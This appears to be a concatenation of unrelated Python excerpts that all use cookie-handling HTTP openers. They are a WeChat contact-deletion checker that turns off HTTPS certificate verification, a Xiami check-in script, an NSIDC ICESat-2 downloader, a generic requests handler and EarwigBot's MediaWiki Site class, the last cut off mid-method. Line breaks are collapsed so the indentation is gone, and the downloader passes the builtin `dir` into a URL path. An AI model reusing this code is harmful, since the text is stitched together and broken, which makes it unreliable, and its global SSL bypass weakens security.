def main(): try: ssl._create_default_https_context = ssl._create_unverified_context opener = wdf_urllib.build_opener( wdf_urllib.HTTPCookieProcessor(CookieJar())) opener.addheaders = [( 'User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' )] wdf_urllib.install_opener(opener) except: pass if not getUUID(): print('获取uuid失败') return print('正在获取二维码图片...') showQRImage() time.sleep(1) while waitForLogin() != '200': pass os.remove(QRImagePath) if not login(): print('登录失败') return if not webwxinit(): print('初始化失败') return MemberList = webwxgetcontact() print('开启心跳线程') thread.start_new_thread(heartBeatLoop, ()) MemberCount = len(MemberList) print('通讯录共%s位好友' % MemberCount) ChatRoomName = '' result = [] d = {} for Member in MemberList: d[Member['UserName']] = (Member['NickName'].encode('utf-8'), Member['RemarkName'].encode('utf-8')) print('开始查找...') group_num = int(math.ceil(MemberCount / float(MAX_GROUP_NUM))) for i in range(0, group_num): UserNames = [] for j in range(0, MAX_GROUP_NUM): if i * MAX_GROUP_NUM + j >= MemberCount: break Member = MemberList[i * MAX_GROUP_NUM + j] UserNames.append(Member['UserName']) # 新建群组/添加成员 if ChatRoomName == '': (ChatRoomName, DeletedList, BlockedList) = createChatroom(UserNames) else: (DeletedList, BlockedList) = addMember(ChatRoomName, UserNames) # todo BlockedList 被拉黑列表 DeletedCount = len(DeletedList) if DeletedCount > 0: result += DeletedList # 删除成员 deleteMember(ChatRoomName, UserNames) # 进度条 progress = MAX_PROGRESS_LEN * (i + 1) / group_num print('[', '#' * progress, '-' * (MAX_PROGRESS_LEN - progress), ']', end=' ') print('新发现你被%d人删除' % DeletedCount) for i in range(DeletedCount): if d[DeletedList[i]][1] != '': print(d[DeletedList[i]][0] + '(%s)' % d[DeletedList[i]][1]) else: print(d[DeletedList[i]][0]) if i != group_num - 1: print('正在继续查找,请耐心等待...') # 下一次进行接口调用需要等待的时间 time.sleep(INTERFACE_CALLING_INTERVAL) # todo 删除群组 print('\n结果汇总完毕,20s后可重试...') resultNames = [] for r in result: if d[r][1] != '': resultNames.append(d[r][0] + '(%s)' % d[r][1]) else: resultNames.append(d[r][0]) print('---------- 被删除的好友列表(共%d人) ----------' % len(result)) # 过滤emoji resultNames = map(lambda x: re.sub(r'<span.+/span>', '', x), resultNames) if len(resultNames): print('\n'.join(resultNames)) else: print("无") print('---------------------------------------------')
#!/usr/bin/env python # coding: utf-8 import urllib2, urllib from cookielib import CookieJar EMAIL = '*****@*****.**' PASSWD = 'pass' # cookie support urllib2.install_opener( urllib2.build_opener(urllib2.HTTPCookieProcessor(CookieJar()))) # login headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1' } data = urllib.urlencode({'email': EMAIL, 'password': PASSWD, 'submit': '登 录'}) r = urllib2.Request('http://www.xiami.com/member/login', data=data, headers=headers) urllib2.urlopen(r).read() # checkin headers['X-Requested-With'] = 'XMLHttpRequest' headers['Referer'] = 'http://www.xiami.com/' r = urllib2.Request('http://www.xiami.com/task/signin', data='', headers=headers) print urllib2.urlopen(r).read()
def nsidc_icesat2_sync(ddir, PRODUCTS, VERSION, GRANULES, USER='', PASSWORD='', YEARS=None, SUBDIRECTORY=None, LOG=False, LIST=False, MODE=None, CLOBBER=False): #-- output of synchronized files if LOG: #-- output to log file LOGDIR = os.path.join(ddir, 'icesat2.dir', 'sync_logs.dir') #-- check if log directory exists and recursively create if not os.makedirs(LOGDIR, MODE) if not os.path.exists(LOGDIR) else None #-- format: NSIDC_IceBridge_sync_2002-04-01.log today = time.strftime('%Y-%m-%d', time.localtime()) LOGFILE = 'NSIDC_IceSat-2_sync_{0}.log'.format(today) fid = open(os.path.join(LOGDIR, LOGFILE), 'w') print('IceBridge Data Sync Log ({0})'.format(today), file=fid) else: #-- standard output (terminal output) fid = sys.stdout #-- https://docs.python.org/3/howto/urllib2.html#id5 #-- create a password manager password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() #-- Add the username and password for NASA Earthdata Login system password_mgr.add_password(None, 'https://urs.earthdata.nasa.gov', USER, PASSWORD) #-- Encode username/password for request authorization headers base64_string = base64.b64encode('{0}:{1}'.format(USER, PASSWORD).encode()) #-- compile HTML parser for lxml parser = lxml.etree.HTMLParser() #-- Create cookie jar for storing cookies. This is used to store and return #-- the session cookie given to use by the data server (otherwise will just #-- keep sending us back to Earthdata Login to authenticate). cookie_jar = CookieJar() #-- create "opener" (OpenerDirector instance) opener = urllib2.build_opener( urllib2.HTTPBasicAuthHandler(password_mgr), #urllib2.HTTPHandler(debuglevel=1), # Uncomment these two lines to see #urllib2.HTTPSHandler(debuglevel=1), # details of the requests/responses urllib2.HTTPCookieProcessor(cookie_jar)) #-- add Authorization header to opener authorization_header = "Basic {0}".format(base64_string.decode()) opener.addheaders = [("Authorization", authorization_header)] #-- Now all calls to urllib2.urlopen use our opener. urllib2.install_opener(opener) #-- All calls to urllib2.urlopen will now use handler #-- Make sure not to include the protocol in with the URL, or #-- HTTPPasswordMgrWithDefaultRealm will be confused. #-- remote https server for ICESat-2 Data HOST = 'https://n5eil01u.ecs.nsidc.org' #-- regular expression operator for finding files of a particular granule remote_regex_pattern = '{0}_(\d+)_03140110_(\d+)_{1:02d}.(.*?)' #-- regular expression operator for finding subdirectories if SUBDIRECTORY: #-- Sync particular subdirectories for product R2 = re.compile('(' + '|'.join(SUBDIRECTORY) + ')', re.VERBOSE) elif YEARS: #-- Sync particular years for product regex_pattern = '|'.join('{0:d}'.format(y) for y in YEARS) R2 = re.compile('({0}).(\d+).(\d+)'.format(regex_pattern), re.VERBOSE) else: #-- Sync all available years for product R2 = re.compile('(\d+).(\d+).(\d+)', re.VERBOSE) #-- for each icesat2 product listed for p in PRODUCTS: print('PRODUCT={0}'.format(p), file=fid) if LOG else None #-- input directory for product DIRECTORY = os.path.join(ddir, '{0}.{1:03d}'.format(p, VERSION)) #-- get directories from remote directory remote_directories = ['ATLAS', '{0}.{1:03d}'.format(p, VERSION)] d = posixpath.join(HOST, *remote_directories) req = urllib2.Request(url=d) #-- read and parse request for subdirectories (find column names) tree = lxml.etree.parse(urllib2.urlopen(req), parser) colnames = tree.xpath('//td[@class="indexcolname"]//a/@href') remote_sub = [sd for sd in colnames if R2.match(sd)] #-- for each remote subdirectory for sd in remote_sub: #-- check if data directory exists and recursively create if not local_dir = os.path.join(DIRECTORY, sd) os.makedirs(local_dir, MODE) if not os.path.exists(local_dir) else None #-- find ICESat-2 data files req = urllib2.Request(url=posixpath.join(d, dir, sd)) #-- read and parse request for remote files (columns and dates) tree = lxml.etree.parse(urllib2.urlopen(req), parser) colnames = tree.xpath('//td[@class="indexcolname"]//a/@href') collastmod = tree.xpath('//td[@class="indexcollastmod"]/text()') remote_file_lines = [ i for i, f in enumerate(colnames) if re.match(remote_regex_pattern, f) ] #-- sync each ICESat-2 data file for i in remote_file_lines: #-- remote and local versions of the file remote_file = posixpath.join(d, dir, sd, colnames[i]) local_file = os.path.join(local_dir, colnames[i]) #-- get last modified date and convert into unix time LMD = time.strptime(collastmod[i].rstrip(), '%Y-%m-%d %H:%M') remote_mtime = calendar.timegm(LMD) #-- sync ICESat-2 files with NSIDC server http_pull_file(fid, remote_file, remote_mtime, local_file, LIST, CLOBBER, MODE) #-- close request req = None #-- close log file and set permissions level to MODE if LOG: fid.close() os.chmod(os.path.join(LOGDIR, LOGFILE), MODE)
class _RequestsHandler(object): def __init__(self, cache_dir=None, web_time_out=30, cookie_jar=None, ignore_ssl_errors=False): """ Initialises the UriHandler class Keyword Arguments: :param str cache_dir: A path for http caching. If specified, caching will be used. :param int web_time_out: Timeout for requests in seconds :param str cookie_jar: The path to the cookie jar (in case of file storage) :param ignore_ssl_errors: Ignore any SSL certificate errors. """ self.id = int(time.time()) if cookie_jar: self.cookieJar = MozillaCookieJar(cookie_jar) if not os.path.isfile(cookie_jar): self.cookieJar.save() self.cookieJar.load() self.cookieJarFile = True else: self.cookieJar = CookieJar() self.cookieJarFile = False self.cacheDir = cache_dir self.cacheStore = None if cache_dir: self.cacheStore = StreamCache(cache_dir) Logger.debug("Opened %s", self.cacheStore) else: Logger.debug("No cache-store provided. Cached disabled.") self.userAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729)" self.webTimeOut = web_time_out # max duration of request self.ignoreSslErrors = ignore_ssl_errors # ignore SSL errors if self.ignoreSslErrors: Logger.warning("Ignoring all SSL errors in Python") # status of the most recent call self.status = UriStatus(code=0, url=None, error=False, reason=None) # for download animation self.__animationIndex = -1 def download(self, uri, filename, folder, progress_callback=None, proxy=None, params="", data="", json="", referer=None, additional_headers=None): """ Downloads a remote file :param str filename: The filename that should be used to store the file. :param str folder: The folder to save the file in. :param str params: Data to send with the request (open(uri, params)). :param str uri: The URI to download. :param dict[str, any]|str data: Data to send with the request (open(uri, data)). :param dict[str, any] json: Json to send with the request (open(uri, params)). :param ProxyInfo proxy: The address and port (proxy.address.ext:port) of a proxy server that should be used. :param str referer: The http referer to use. :param dict additional_headers: The optional headers. :param function progress_callback: The callback for progress update. The format is function(retrievedSize, totalSize, perc, completed, status) :return: The full path of the loccation to which it was downloaded. :rtype: str """ if not folder or not filename: raise ValueError( "Destination folder and filename should be specified") if not os.path.isdir(folder): raise ValueError("Destination folder is not a valid location") if not progress_callback: raise ValueError("A callback must be specified") download_path = os.path.join(folder, filename) if os.path.isfile(download_path): Logger.info("Url already downloaded to: %s", download_path) return download_path Logger.info("Creating Downloader for url '%s' to filename '%s'", uri, download_path) r = self.__requests(uri, proxy=proxy, params=params, data=data, json=json, referer=referer, additional_headers=additional_headers, no_cache=True, stream=True) if r is None: return "" retrieved_bytes = 0 total_size = int(r.headers.get('Content-Length', '0').strip()) # There is an issue with the way Requests checks for input and it does not like the newInt. if PY2: chunk_size = 10 * 1024 else: chunk_size = 1024 if total_size == 0 else total_size // 100 cancel = False with open(download_path, 'wb') as fd: for chunk in r.iter_content(chunk_size=chunk_size): fd.write(chunk) retrieved_bytes += len(chunk) if progress_callback: cancel = self.__do_progress_callback( progress_callback, retrieved_bytes, total_size, False) if cancel: Logger.warning("Download of %s aborted", uri) break if cancel: if os.path.isfile(download_path): Logger.info("Removing partial download: %s", download_path) os.remove(download_path) return "" if progress_callback: self.__do_progress_callback(progress_callback, retrieved_bytes, total_size, True) return download_path def open(self, uri, proxy=None, params=None, data=None, json=None, referer=None, additional_headers=None, no_cache=False): """ Open an URL Async using a thread :param str uri: The URI to download. :param str params: Data to send with the request (open(uri, params)). :param dict[str, any]|str|bytes data: Data to send with the request (open(uri, data)). :param dict[str, any] json: Json to send with the request (open(uri, params)). :param ProxyInfo proxy: The address and port (proxy.address.ext:port) of a proxy server that should be used. :param str referer: The http referer to use. :param dict|None additional_headers: The optional headers. :param bool no_cache: Should cache be disabled. :return: The data that was retrieved from the URI. :rtype: str|unicode """ r = self.__requests(uri, proxy=proxy, params=params, data=data, json=json, referer=referer, additional_headers=additional_headers, no_cache=no_cache, stream=False) if r is None: return "" content_type = r.headers.get("content-type", "") if r.encoding == 'ISO-8859-1' and "text" in content_type: # Requests defaults to ISO-8859-1 for all text content that does not specify an encoding Logger.debug( "Found 'ISO-8859-1' for 'text' content-type. Using UTF-8 instead." ) r.encoding = 'utf-8' # We might need a better mechanism here. if not r.encoding and content_type.lower() in [ "application/json", "application/javascript" ]: return r.text return r.text if r.encoding else r.content def header(self, uri, proxy=None, referer=None, additional_headers=None): """ Retrieves header information only. :param str uri: The URI to fetch the header from. :param ProxyInfo|none proxy: The address and port (proxy.address.ext:port) of a proxy server that should be used. :param str|none referer: The http referer to use. :param dict|none additional_headers: The optional headers. :return: Content-type and the URL to which a redirect could have occurred. :rtype: tuple[str,str] """ with requests.session() as s: s.cookies = self.cookieJar s.verify = not self.ignoreSslErrors proxies = self.__get_proxies(proxy, uri) headers = self.__get_headers(referer, additional_headers) Logger.info("Performing a HEAD for %s", uri) r = s.head(uri, proxies=proxies, headers=headers, allow_redirects=True, timeout=self.webTimeOut) content_type = r.headers.get("Content-Type", "") real_url = r.url self.status = UriStatus(code=r.status_code, url=uri, error=not r.ok, reason=r.reason) if self.cookieJarFile: # noinspection PyUnresolvedReferences self.cookieJar.save() if r.ok: Logger.info("%s resulted in '%s %s' (%s) for %s", r.request.method, r.status_code, r.reason, r.elapsed, r.url) return content_type, real_url else: Logger.error("%s failed with in '%s %s' (%s) for %s", r.request.method, r.status_code, r.reason, r.elapsed, r.url) return "", "" # noinspection PyUnusedLocal def __requests(self, uri, proxy, params, data, json, referer, additional_headers, no_cache, stream): with requests.session() as s: s.cookies = self.cookieJar s.verify = not self.ignoreSslErrors if self.cacheStore and not no_cache: Logger.trace("Adding the %s to the request", self.cacheStore) s.mount("https://", CacheHTTPAdapter(self.cacheStore)) s.mount("http://", CacheHTTPAdapter(self.cacheStore)) proxies = self.__get_proxies(proxy, uri) if proxies is not None and "dns" in proxies: s.mount( "https://", DnsResolverHTTPAdapter(uri, proxies["dns"], logger=Logger.instance())) headers = self.__get_headers(referer, additional_headers) if params is not None: # Old UriHandler behaviour. Set form header to keep compatible if "content-type" not in headers: headers[ "content-type"] = "application/x-www-form-urlencoded" Logger.info("Performing a POST with '%s' for %s", headers["content-type"], uri) r = s.post(uri, data=params, proxies=proxies, headers=headers, stream=stream, timeout=self.webTimeOut) elif data is not None: # Normal Requests compatible data object Logger.info("Performing a POST with '%s' for %s", headers.get("content-type", "<No Content-Type>"), uri) r = s.post(uri, data=data, proxies=proxies, headers=headers, stream=stream, timeout=self.webTimeOut) elif json is not None: Logger.info("Performing a json POST with '%s' for %s", headers.get("content-type", "<No Content-Type>"), uri) r = s.post(uri, json=json, proxies=proxies, headers=headers, stream=stream, timeout=self.webTimeOut) else: Logger.info("Performing a GET for %s", uri) r = s.get(uri, proxies=proxies, headers=headers, stream=stream, timeout=self.webTimeOut) if r.ok: Logger.info("%s resulted in '%s %s' (%s) for %s", r.request.method, r.status_code, r.reason, r.elapsed, r.url) else: Logger.error("%s failed with '%s %s' (%s) for %s", r.request.method, r.status_code, r.reason, r.elapsed, r.url) self.status = UriStatus(code=r.status_code, url=r.url, error=not r.ok, reason=r.reason) if self.cookieJarFile: # noinspection PyUnresolvedReferences self.cookieJar.save() return r def __get_headers(self, referer, additional_headers): headers = {} if additional_headers: for k, v in additional_headers.items(): headers[k.lower()] = v if "user-agent" not in headers: headers["user-agent"] = self.userAgent if referer and "referer" not in headers: headers["referer"] = referer return headers def __get_proxies(self, proxy, url): """ :param ProxyInfo proxy: :param url: :return: :rtype: dict[str, str] """ if proxy is None: return None elif not proxy.use_proxy_for_url(url): Logger.debug("Not using proxy due to filter mismatch") elif proxy.Scheme == "http": Logger.debug("Using a http(s) %s", proxy) proxy_address = proxy.get_proxy_address() return {"http": proxy_address, "https": proxy_address} elif proxy.Scheme == "dns": Logger.debug("Using a DNS %s", proxy) return {"dns": proxy.Proxy} Logger.warning("Unsupported Proxy Scheme: %s", proxy.Scheme) return None def __do_progress_callback(self, progress_callback, retrieved_size, total_size, completed): """ Performs a callback, if the progressCallback was specified. :param progress_callback: The callback method :param retrieved_size: Number of bytes retrieved :param total_size: Total number of bytes :param completed: Are we done? @rtype : Boolean Should we cancel the download? """ if progress_callback is None: # no callback so it was not cancelled return False # calculated some stuff self.__animationIndex = (self.__animationIndex + 1) % 4 bytes_to_mb = 1048576 animation_frames = ["-", "\\", "|", "/"] animation = animation_frames[self.__animationIndex] retrievedsize_mb = 1.0 * retrieved_size / bytes_to_mb totalsize_mb = 1.0 * total_size / bytes_to_mb if total_size > 0: percentage = 100.0 * retrieved_size / total_size else: percentage = 0 status = '%s - %i%% (%.1f of %.1f MB)' % \ (animation, percentage, retrievedsize_mb, totalsize_mb) try: return progress_callback(retrieved_size, total_size, percentage, completed, status) except: Logger.error("Error in Progress Callback", exc_info=True) # cancel the download return True def __str__(self): return "UriHandler [id={0}, useCaching={1}, ignoreSslErrors={2}]"\ .format(self.id, self.cacheStore, self.ignoreSslErrors)
def __init__(self, email="", password=""): self.email = email self.password = password self.cj = CookieJar()
class Site(object): """ **EarwigBot: Wiki Toolset: Site** Represents a site, with support for API queries and returning :py:class:`~earwigbot.wiki.page.Page`, :py:class:`~earwigbot.wiki.user.User`, and :py:class:`~earwigbot.wiki.category.Category` objects. The constructor takes a bunch of arguments and you probably won't need to call it directly, rather :py:meth:`wiki.get_site() <earwigbot.wiki.sitesdb.SitesDB.get_site>` for returning :py:class:`Site` instances, :py:meth:`wiki.add_site() <earwigbot.wiki.sitesdb.SitesDB.add_site>` for adding new ones to our database, and :py:meth:`wiki.remove_site() <earwigbot.wiki.sitesdb.SitesDB.remove_site>` for removing old ones from our database, should suffice. *Attributes:* - :py:attr:`name`: the site's name (or "wikiid"), like ``"enwiki"`` - :py:attr:`project`: the site's project name, like ``"wikipedia"`` - :py:attr:`lang`: the site's language code, like ``"en"`` - :py:attr:`domain`: the site's web domain, like ``"en.wikipedia.org"`` - :py:attr:`url`: the site's URL, like ``"https://en.wikipedia.org"`` *Public methods:* - :py:meth:`api_query`: does an API query with kwargs as params - :py:meth:`sql_query`: does an SQL query and yields its results - :py:meth:`get_maxlag`: returns the internal database lag - :py:meth:`get_replag`: estimates the external database lag - :py:meth:`namespace_id_to_name`: returns names associated with an NS id - :py:meth:`namespace_name_to_id`: returns the ID associated with a NS name - :py:meth:`get_page`: returns a Page for the given title - :py:meth:`get_category`: returns a Category for the given title - :py:meth:`get_user`: returns a User object for the given name - :py:meth:`delegate`: controls when the API or SQL is used """ SERVICE_API = 1 SERVICE_SQL = 2 def __init__(self, name=None, project=None, lang=None, base_url=None, article_path=None, script_path=None, sql=None, namespaces=None, login=(None, None), cookiejar=None, user_agent=None, use_https=False, assert_edit=None, maxlag=None, wait_between_queries=2, logger=None, search_config=None): """Constructor for new Site instances. This probably isn't necessary to call yourself unless you're building a Site that's not in your config and you don't want to add it - normally all you need is wiki.get_site(name), which creates the Site for you based on your config file and the sites database. We accept a bunch of kwargs, but the only ones you really "need" are *base_url* and *script_path*; this is enough to figure out an API url. *login*, a tuple of (username, password), is highly recommended. *cookiejar* will be used to store cookies, and we'll use a normal CookieJar if none is given. First, we'll store the given arguments as attributes, then set up our URL opener. We'll load any of the attributes that weren't given from the API, and then log in if a username/pass was given and we aren't already logged in. """ # Attributes referring to site information, filled in by an API query # if they are missing (and an API url can be determined): self._name = name self._project = project self._lang = lang self._base_url = base_url self._article_path = article_path self._script_path = script_path self._namespaces = namespaces # Attributes used for API queries: self._use_https = use_https self._assert_edit = assert_edit self._maxlag = maxlag self._wait_between_queries = wait_between_queries self._max_retries = 6 self._last_query_time = 0 self._api_lock = Lock() self._api_info_cache = {"maxlag": 0, "lastcheck": 0} # Attributes used for SQL queries: if sql: self._sql_data = sql else: self._sql_data = {} self._sql_conn = None self._sql_lock = Lock() self._sql_info_cache = {"replag": 0, "lastcheck": 0, "usable": None} # Attribute used in copyright violation checks (see CopyrightMixIn): if search_config: self._search_config = search_config else: self._search_config = {} # Set up cookiejar and URL opener for making API queries: if cookiejar is not None: self._cookiejar = cookiejar else: self._cookiejar = CookieJar() if not user_agent: user_agent = constants.USER_AGENT # Set default UA self._opener = build_opener(HTTPCookieProcessor(self._cookiejar)) self._opener.addheaders = [("User-Agent", user_agent), ("Accept-Encoding", "gzip")] # Set up our internal logger: if logger: self._logger = logger else: # Just set up a null logger to eat up our messages: self._logger = getLogger("earwigbot.wiki") self._logger.addHandler(NullHandler()) # Get all of the above attributes that were not specified as arguments: self._load_attributes() # If we have a name/pass and the API says we're not logged in, log in: self._login_info = name, password = login if name and password: logged_in_as = self._get_username_from_cookies() if not logged_in_as or name.replace("_", " ") != logged_in_as: self._login(login) def __repr__(self): """Return the canonical string representation of the Site.""" res = ", ".join(( "Site(name={_name!r}", "project={_project!r}", "lang={_lang!r}", "base_url={_base_url!r}", "article_path={_article_path!r}", "script_path={_script_path!r}", "use_https={_use_https!r}", "assert_edit={_assert_edit!r}", "maxlag={_maxlag!r}", "sql={_sql_data!r}", "login={0}", "user_agent={2!r}", "cookiejar={1})")) name, password = self._login_info login = "******".format(repr(name), "hidden" if password else None) cookies = self._cookiejar.__class__.__name__ if hasattr(self._cookiejar, "filename"): cookies += "({0!r})".format(getattr(self._cookiejar, "filename")) else: cookies += "()" agent = self._opener.addheaders[0][1] return res.format(login, cookies, agent, **self.__dict__) def __str__(self): """Return a nice string representation of the Site.""" res = "<Site {0} ({1}:{2}) at {3}>" return res.format(self.name, self.project, self.lang, self.domain) def _unicodeify(self, value, encoding="utf8"): """Return input as unicode if it's not unicode to begin with.""" if isinstance(value, unicode): return value return unicode(value, encoding) def _urlencode_utf8(self, params): """Implement urllib.urlencode() with support for unicode input.""" enc = lambda s: s.encode("utf8") if isinstance(s, unicode) else str(s) args = [] for key, val in params.iteritems(): key = quote_plus(enc(key)) val = quote_plus(enc(val)) args.append(key + "=" + val) return "&".join(args) def _api_query(self, params, tries=0, wait=5, ignore_maxlag=False): """Do an API query with *params* as a dict of parameters. See the documentation for :py:meth:`api_query` for full implementation details. """ since_last_query = time() - self._last_query_time # Throttling support if since_last_query < self._wait_between_queries: wait_time = self._wait_between_queries - since_last_query log = "Throttled: waiting {0} seconds".format(round(wait_time, 2)) self._logger.debug(log) sleep(wait_time) self._last_query_time = time() url, data = self._build_api_query(params, ignore_maxlag) if "lgpassword" in params: self._logger.debug("{0} -> <hidden>".format(url)) else: self._logger.debug("{0} -> {1}".format(url, data)) try: response = self._opener.open(url, data) except URLError as error: if hasattr(error, "reason"): e = "API query failed: {0}.".format(error.reason) elif hasattr(error, "code"): e = "API query failed: got an error code of {0}." e = e.format(error.code) else: e = "API query failed." raise exceptions.APIError(e) result = response.read() if response.headers.get("Content-Encoding") == "gzip": stream = StringIO(result) gzipper = GzipFile(fileobj=stream) result = gzipper.read() return self._handle_api_query_result(result, params, tries, wait) def _build_api_query(self, params, ignore_maxlag): """Given API query params, return the URL to query and POST data.""" if not self._base_url or self._script_path is None: e = "Tried to do an API query, but no API URL is known." raise exceptions.APIError(e) url = ''.join((self.url, self._script_path, "/api.php")) params["format"] = "json" # This is the only format we understand if self._assert_edit: # If requested, ensure that we're logged in params["assert"] = self._assert_edit if self._maxlag and not ignore_maxlag: # If requested, don't overload the servers: params["maxlag"] = self._maxlag data = self._urlencode_utf8(params) return url, data def _handle_api_query_result(self, result, params, tries, wait): """Given the result of an API query, attempt to return useful data.""" try: res = loads(result) # Try to parse as a JSON object except ValueError: e = "API query failed: JSON could not be decoded." raise exceptions.APIError(e) try: code = res["error"]["code"] info = res["error"]["info"] except (TypeError, KeyError): # Having these keys indicates a problem return res # All is well; return the decoded JSON if code == "maxlag": # We've been throttled by the server if tries >= self._max_retries: e = "Maximum number of retries reached ({0})." raise exceptions.APIError(e.format(self._max_retries)) tries += 1 msg = 'Server says "{0}"; retrying in {1} seconds ({2}/{3})' self._logger.info(msg.format(info, wait, tries, self._max_retries)) sleep(wait) return self._api_query(params, tries=tries, wait=wait*2) else: # Some unknown error occurred e = 'API query failed: got error "{0}"; server says: "{1}".' error = exceptions.APIError(e.format(code, info)) error.code, error.info = code, info raise error def _load_attributes(self, force=False): """Load data about our Site from the API. This function is called by __init__() when one of the site attributes was not given as a keyword argument. We'll do an API query to get the missing data, but only if there actually *is* missing data. Additionally, you can call this with *force* set to True to forcibly reload all attributes. """ # All attributes to be loaded, except _namespaces, which is a special # case because it requires additional params in the API query: attrs = [self._name, self._project, self._lang, self._base_url, self._article_path, self._script_path] params = {"action": "query", "meta": "siteinfo", "siprop": "general"} if not self._namespaces or force: params["siprop"] += "|namespaces|namespacealiases" result = self.api_query(**params) self._load_namespaces(result) elif all(attrs): # Everything is already specified and we're not told return # to force a reload, so do nothing else: # We're only loading attributes other than _namespaces result = self.api_query(**params) res = result["query"]["general"] self._name = res["wikiid"] self._project = res["sitename"].lower() self._lang = res["lang"] self._base_url = res["server"] self._article_path = res["articlepath"] self._script_path = res["scriptpath"] def _load_namespaces(self, result): """Fill self._namespaces with a dict of namespace IDs and names. Called by _load_attributes() with API data as *result* when self._namespaces was not given as an kwarg to __init__(). """ self._namespaces = {} for namespace in result["query"]["namespaces"].values(): ns_id = namespace["id"] name = namespace["*"] try: canonical = namespace["canonical"] except KeyError: self._namespaces[ns_id] = [name] else: if name != canonical: self._namespaces[ns_id] = [name, canonical] else: self._namespaces[ns_id] = [name] for namespace in result["query"]["namespacealiases"]: ns_id = namespace["id"] alias = namespace["*"] self._namespaces[ns_id].append(alias) def _get_cookie(self, name, domain): """Return the named cookie unless it is expired or doesn't exist.""" for cookie in self._cookiejar: if cookie.name == name and cookie.domain == domain: if cookie.is_expired(): break return cookie def _get_username_from_cookies(self): """Try to return our username based solely on cookies. First, we'll look for a cookie named self._name + "Token", like "enwikiToken". If it exists and isn't expired, we'll assume it's valid and try to return the value of the cookie self._name + "UserName" (like "enwikiUserName"). This should work fine on wikis without single-user login. If `enwikiToken` doesn't exist, we'll try to find a cookie named `centralauth_Token`. If this exists and is not expired, we'll try to return the value of `centralauth_User`. If we didn't get any matches, we'll return None. Our goal here isn't to return the most likely username, or what we *want* our username to be (for that, we'd do self._login_info[0]), but rather to get our current username without an unnecessary ?action=query&meta=userinfo API query. """ name = ''.join((self._name, "Token")) cookie = self._get_cookie(name, self.domain) if cookie: name = ''.join((self._name, "UserName")) user_name = self._get_cookie(name, self.domain) if user_name: return unquote_plus(user_name.value) for cookie in self._cookiejar: if cookie.name != "centralauth_Token" or cookie.is_expired(): continue base = cookie.domain if base.startswith(".") and not cookie.domain_initial_dot: base = base[1:] if self.domain.endswith(base): user_name = self._get_cookie("centralauth_User", cookie.domain) if user_name: return unquote_plus(user_name.value) def _get_username_from_api(self): """Do a simple API query to get our username and return it. This is a reliable way to make sure we are actually logged in, because it doesn't deal with annoying cookie logic, but it results in an API query that is unnecessary in some cases. Called by _get_username() (in turn called by get_user() with no username argument) when cookie lookup fails, probably indicating that we are logged out. """ result = self.api_query(action="query", meta="userinfo") return result["query"]["userinfo"]["name"] def _get_username(self): """Return the name of the current user, whether logged in or not. First, we'll try to deduce it solely from cookies, to avoid an unnecessary API query. For the cookie-detection method, see _get_username_from_cookies()'s docs. If our username isn't in cookies, then we're probably not logged in, or something fishy is going on (like forced logout). In this case, do a single API query for our username (or IP address) and return that. """ name = self._get_username_from_cookies() if name: return name return self._get_username_from_api() def _save_cookiejar(self): """Try to save our cookiejar after doing a (normal) login or logout. Calls the standard .save() method with no filename. Don't fret if our cookiejar doesn't support saving (CookieJar raises AttributeError, FileCookieJar raises NotImplementedError) or no default filename was given (LWPCookieJar and MozillaCookieJar raise ValueError). """ if hasattr(self._cookiejar, "save"): try: getattr(self._cookiejar, "save")() except (NotImplementedError, ValueError): pass def _login(self, login, token=None, attempt=0): """Safely login through the API. Normally, this is called by __init__() if a username and password have been provided and no valid login cookies were found. The only other time it needs to be called is when those cookies expire, which is done automatically by api_query() if a query fails. Recent versions of MediaWiki's API have fixed a CSRF vulnerability, requiring login to be done in two separate requests. If the response from from our initial request is "NeedToken", we'll do another one with the token. If login is successful, we'll try to save our cookiejar. Raises LoginError on login errors (duh), like bad passwords and nonexistent usernames. *login* is a (username, password) tuple. *token* is the token returned from our first request, and *attempt* is to prevent getting stuck in a loop if MediaWiki isn't acting right. """ name, password = login if token: result = self.api_query(action="login", lgname=name, lgpassword=password, lgtoken=token) else: result = self.api_query(action="login", lgname=name, lgpassword=password) res = result["login"]["result"] if res == "Success": self._save_cookiejar() elif res == "NeedToken" and attempt == 0: token = result["login"]["token"] return self._login(login, token, attempt=1) else: if res == "Illegal": e = "The provided username is illegal." elif res == "NotExists": e = "The provided username does not exist." elif res == "EmptyPass": e = "No password was given." elif res == "WrongPass" or res == "WrongPluginPass": e = "The given password is incorrect." else: e = "Couldn't login; server says '{0}'.".format(res) raise exceptions.LoginError(e) def _logout(self): """Safely logout through the API. We'll do a simple API request (api.php?action=logout), clear our cookiejar (which probably contains now-invalidated cookies) and try to save it, if it supports that sort of thing. """ self.api_query(action="logout") self._cookiejar.clear() self._save_cookiejar() def _sql_connect(self, **kwargs): """Attempt to establish a connection with this site's SQL database. oursql.connect() will be called with self._sql_data as its kwargs. Any kwargs given to this function will be passed to connect() and will have precedence over the config file. Will raise SQLError() if the module "oursql" is not available. oursql may raise its own exceptions (e.g. oursql.InterfaceError) if it cannot establish a connection. """ if not oursql: e = "Module 'oursql' is required for SQL queries." raise exceptions.SQLError(e) args = self._sql_data for key, value in kwargs.iteritems(): args[key] = value if "read_default_file" not in args and "user" not in args and "passwd" not in args: args["read_default_file"] = expanduser("~/.my.cnf") if "autoping" not in args: args["autoping"] = True if "autoreconnect" not in args: args["autoreconnect"] = True self._sql_conn = oursql.connect(**args) def _get_service_order(self): """Return a preferred order for using services (e.g. the API and SQL). A list is returned, starting with the most preferred service first and ending with the least preferred one. Currently, there are only two services. SERVICE_API will always be included since the API is expected to be always usable. In normal circumstances, self.SERVICE_SQL will be first (with the API second), since using SQL directly is easier on the servers than making web queries with the API. self.SERVICE_SQL will be second if replag is greater than three minutes (a cached value updated every two minutes at most), *unless* API lag is also very high. self.SERVICE_SQL will not be included in the list if we cannot form a proper SQL connection. """ now = time() if now - self._sql_info_cache["lastcheck"] > 120: self._sql_info_cache["lastcheck"] = now try: self._sql_info_cache["replag"] = sqllag = self.get_replag() except (exceptions.SQLError, oursql.Error): self._sql_info_cache["usable"] = False return [self.SERVICE_API] self._sql_info_cache["usable"] = True else: if not self._sql_info_cache["usable"]: return 